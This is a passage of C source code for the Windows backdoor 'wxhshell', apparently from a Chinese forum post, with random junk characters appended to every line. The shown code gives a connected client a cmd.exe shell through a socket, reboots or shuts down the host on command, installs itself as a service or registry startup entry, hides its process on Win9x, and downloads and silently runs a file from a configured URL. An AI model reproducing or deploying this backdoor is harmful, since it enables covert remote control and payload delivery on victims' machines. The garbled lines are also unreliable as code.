  else { QE 45!Z g  
*2,e=tY>  
    switch(cmd[0]) { ^"O{o8l>2  
   (# 6<k  
  // 帮助 r=~WMDCz@  
  case '?': { 4{;8:ax&w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $hjP}- oUX  
    break; OU,PO2xX9  
  } Pt6hGSo.  
  // 安装 EjR_-8@FK  
  case 'i': { CxbSj,  
    if(Install()) I*A0?{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Q'[Ee2-3  
    else }W:*aU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HzRX$IKB3(  
    break; ?Oy'awf_  
    } E0"10Qbi  
  // 卸载 bp]^EVx  
  case 'r': { t&GA6ML#s  
    if(Uninstall()) 9VoDhsKk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YgE]d?_h  
    else 4M @ oj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jWH{;V&ZV  
    break; f^W[; w  
    } E?30J3S  
  // 显示 wxhshell 所在路径 1Pk mg%+  
  case 'p': { iNod</+"K  
    char svExeFile[MAX_PATH]; .FIt.XPzv  
    strcpy(svExeFile,"\n\r"); omM&{ }8g  
      strcat(svExeFile,ExeFile); ~ X-)_zH  
        send(wsh,svExeFile,strlen(svExeFile),0); p?+lAbe6H  
    break; Sa3I?+  
    } B{7Kzwh;  
  // 重启 1.# |QX  
  case 'b': { 7 I_1 #O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dB@Wn!Y  
    if(Boot(REBOOT)) m#oh?@0}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )W&o?VRfO  
    else { GWF/[%  
    closesocket(wsh); qbS'|--wH  
    ExitThread(0); &/Eg2  
    } +kjzn]} f  
    break; ]g{hhP3>  
    } }JRP,YNh  
  // 关机 ecr886  
  case 'd': { Ua):y) A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L|&'jH)  
    if(Boot(SHUTDOWN)) $.H:8^W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/u1chf  
    else { -O'{:s~  
    closesocket(wsh); )!tCC-Cr  
    ExitThread(0); )O,wRd>5  
    } 9YR]+*  
    break; P DRnW  
    } T}C2e! _O  
  // 获取shell 7#QLtU  
  case 's': { OnZF6yfN=3  
    CmdShell(wsh); b,nn&B5@{  
    closesocket(wsh); OE_ QInb<  
    ExitThread(0); q`XW5VV{K  
    break; 7FAIew\r  
  }  l B1#  
  // 退出 p6`Pp"J_tr  
  case 'x': { z< z*Wz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0y)}.'  
    CloseIt(wsh); !X^Hi=aV  
    break; :6XguU  
    } /\na;GI$  
  // 离开 M70c{s`w5  
  case 'q': { 94\t1fE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2ck 4C/ h  
    closesocket(wsh); pX@Si3G`  
    WSACleanup(); m23+kj)+VY  
    exit(1); g3Z:{@m  
    break; l :/&E 6 9  
        } ,Du@2w3Cq  
  } 2@vJ  
  } n5|l|#c$N  
COR;e`%,  
  // 提示信息 Jlp<koy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mw_ E&v  
} VZ$=6CavH  
  } ^$!987"  
W4(v6>5l  
  return; gw"~RV0  
} ][,4,?T7  
BT]ua]T+  
// shell模块句柄 0o;O`/x  
int CmdShell(SOCKET sock) 'l~6ErBSg  
{ oh6B3>>+  
STARTUPINFO si; :- ?Ct  
ZeroMemory(&si,sizeof(si)); Z,K7Ot0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (:5G#?6,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9qKzS<"h  
PROCESS_INFORMATION ProcessInfo; b/t  
char cmdline[]="cmd"; } ^i b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z`Pd2VRp  
  return 0; 6SVqRD<`  
} 6xoq;=o  
'n0 .#E_  
// 自身启动模式 1"}cdq.  
int StartFromService(void) Z?oG*G:  
{ TI=h_%mO  
typedef struct QYQtMb,  
{ #O~XVuvF0  
  DWORD ExitStatus; .-0%6] cFD  
  DWORD PebBaseAddress; $6T3y8  
  DWORD AffinityMask; n 6{2]&sd  
  DWORD BasePriority; MM?`voj~`p  
  ULONG UniqueProcessId; Y>B P?l  
  ULONG InheritedFromUniqueProcessId; m 41t(i  
}   PROCESS_BASIC_INFORMATION; 'Hw4j:pS  
nBN&.+3t  
PROCNTQSIP NtQueryInformationProcess; @wp4 |G  
Gih[i\%Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _tAQ=eBO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &-%X:~|:X  
P}V=*g  
  HANDLE             hProcess; k;I  &.H  
  PROCESS_BASIC_INFORMATION pbi; EATu KLP\  
3$VxRz)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3LDsxE=N:q  
  if(NULL == hInst ) return 0; Gs dnf 7  
Rrg8{DZhv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o%[U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z)pz,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #D*r]M  
jTb-;4 N'  
  if (!NtQueryInformationProcess) return 0; w\w(U  
aE|OTm+@9;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N8v'70  
  if(!hProcess) return 0; /\Z J   
e8}Ezy"^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MgJ36zM  
$Z?\>K0i  
  CloseHandle(hProcess); #?[.JD51l  
`TtXZ[gP}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mM/i^zT  
if(hProcess==NULL) return 0; |.P/:e9  
 Fl3#D7K  
HMODULE hMod; WKmbNvN^  
char procName[255]; K>2#UzW  
unsigned long cbNeeded; AW,OH SXh6  
K-eY|n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eKN$jlg  
Bfr'Zdw  
  CloseHandle(hProcess); iWLa>z|,  
nmFC%p)4  
if(strstr(procName,"services")) return 1; // 以服务启动  npp[@*~  
9bJQT'<R  
  return 0; // 注册表启动 (\a6H2z8l  
} tNIlzR-  
s%pfkoOY%  
// 主模块 w$|l{VI  
int StartWxhshell(LPSTR lpCmdLine) bU54-3Ox*  
{ hWo=;#B*  
  SOCKET wsl; ]3Dl)[R  
BOOL val=TRUE; ,xI%A, (,;  
  int port=0; 'b/ <x|  
  struct sockaddr_in door; 7@}$|u:JUF  
8K9$,Ii  
  if(wscfg.ws_autoins) Install(); Ucdj4[/,h  
T]T;$  
port=atoi(lpCmdLine); }_ mT l@*  
4~z?"  
if(port<=0) port=wscfg.ws_port; ?BA^YF  
/`npQg-  
  WSADATA data; 8|Y.|\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 17.x0 gW,  
zsXoBD\h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wnLi2k/Dt<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m-/j1GZ*  
  door.sin_family = AF_INET; sZ&G%o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %\$;(#h  
  door.sin_port = htons(port); B>y9fI  
jZoNi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }/P5>F<H[  
closesocket(wsl); B;K`q  
return 1; IJIzXU  
} zTbVp8\pI  
C0*@0~8$9  
  if(listen(wsl,2) == INVALID_SOCKET) { hsKmnH@#  
closesocket(wsl); fV:4#j  
return 1; D4JLtB'=  
} TXXy\$  
  Wxhshell(wsl); RW$:9~  
  WSACleanup(); qmy%J  
1xE]6he4{T  
return 0; Mg,:UC:  
+;}#B~:  
} L I>(RMv  
)~6zYJ2  
// 以NT服务方式启动 {nT^t Aha  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J?UQJ&!@O  
{ Z?Hs@j  
DWORD   status = 0; gk[{2HgN  
  DWORD   specificError = 0xfffffff; VdSv  
WKz> !E%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9`//^8G:=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kql0J|P?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YXurYwV  
  serviceStatus.dwWin32ExitCode     = 0; Em 6Qe  
  serviceStatus.dwServiceSpecificExitCode = 0; bI)u/  
  serviceStatus.dwCheckPoint       = 0; r7]zQIE  
  serviceStatus.dwWaitHint       = 0; :,b iyJt  
{gNV[45  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >gwz,{  
  if (hServiceStatusHandle==0) return; 5}$b0<em~  
;Vik5)D2D  
status = GetLastError(); *=V7@o  
  if (status!=NO_ERROR) *'Y@3vKE  
{ m!z|h9Ed  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f h#C' sn  
    serviceStatus.dwCheckPoint       = 0; A\_|un%  
    serviceStatus.dwWaitHint       = 0; + b$=[nfG  
    serviceStatus.dwWin32ExitCode     = status; -x8nQ%X  
    serviceStatus.dwServiceSpecificExitCode = specificError; p!O(Y6QM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |2\{z{?  
    return; m'\2:mDu0  
  } RB* J=  
/2EHv.e `  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1i:|3PA~  
  serviceStatus.dwCheckPoint       = 0; %CUGm$nH  
  serviceStatus.dwWaitHint       = 0; 'I;!pUfVp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); km^^T_ M/  
} Ofm%:}LV  
N,2s?Y_!  
// 处理NT服务事件,比如:启动、停止 V7G7&'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )irRO8  
{ Y HSYu  
switch(fdwControl) "8^5>EJWv  
{ u]u[(K5F  
case SERVICE_CONTROL_STOP: OouPj@r  
  serviceStatus.dwWin32ExitCode = 0; [gy*`@w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T,xPSN2A*  
  serviceStatus.dwCheckPoint   = 0; kg@>;(V&  
  serviceStatus.dwWaitHint     = 0; }g#&Q0  
  { t5)+&I2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?pgG,=?  
  } w.,Q1\*rPp  
  return; Le<w R  
case SERVICE_CONTROL_PAUSE: :1t~[-h^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3d<HN6&U  
  break; L-B<nl  
case SERVICE_CONTROL_CONTINUE: W^3uEm&l!)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 322jR4QGr  
  break; ]EwVpvTw  
case SERVICE_CONTROL_INTERROGATE: |-V&O=!^+  
  break; 1]IQg;q  
}; l]~n3IK"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "S 3wk=?4  
} DvvT?K  
`n$5+a+  
// 标准应用程序主函数 lWBb4 !l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pV4Whq$  
{ mUS_(0q  
OHiQ7#y  
// 获取操作系统版本 w =. Fj  
OsIsNt=GetOsVer(); [mEql,x3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U=hlu  
Y"-^%@|p  
  // 从命令行安装 ,g%&|FAP  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5~mh'<:  
Z2im@c67{  
  // 下载执行文件 "D?z  
if(wscfg.ws_downexe) { z]b>VpW:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |t; ~:A  
  WinExec(wscfg.ws_filenam,SW_HIDE); G8Nt 8U~  
} 1x,[6H  
aK`@6F,]j  
if(!OsIsNt) { atXS-bg*  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qs9gTBS;  
HideProc(); hs tbz  
StartWxhshell(lpCmdLine); ~T) Q$  
} 6mKjau{r_  
else )_/5*Ly@  
  if(StartFromService()) [D*UT#FM  
  // 以服务方式启动 GnP|x}YM  
  StartServiceCtrlDispatcher(DispatchTable); s21wxu:  
else J|&JD?  
  // 普通方式启动 rvr-XGK36\  
  StartWxhshell(lpCmdLine); pABs!A`N  
wdUBg*X8  
return 0; ?nP*\8  
}
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只看该作者 1 发表于: 2006-10-10
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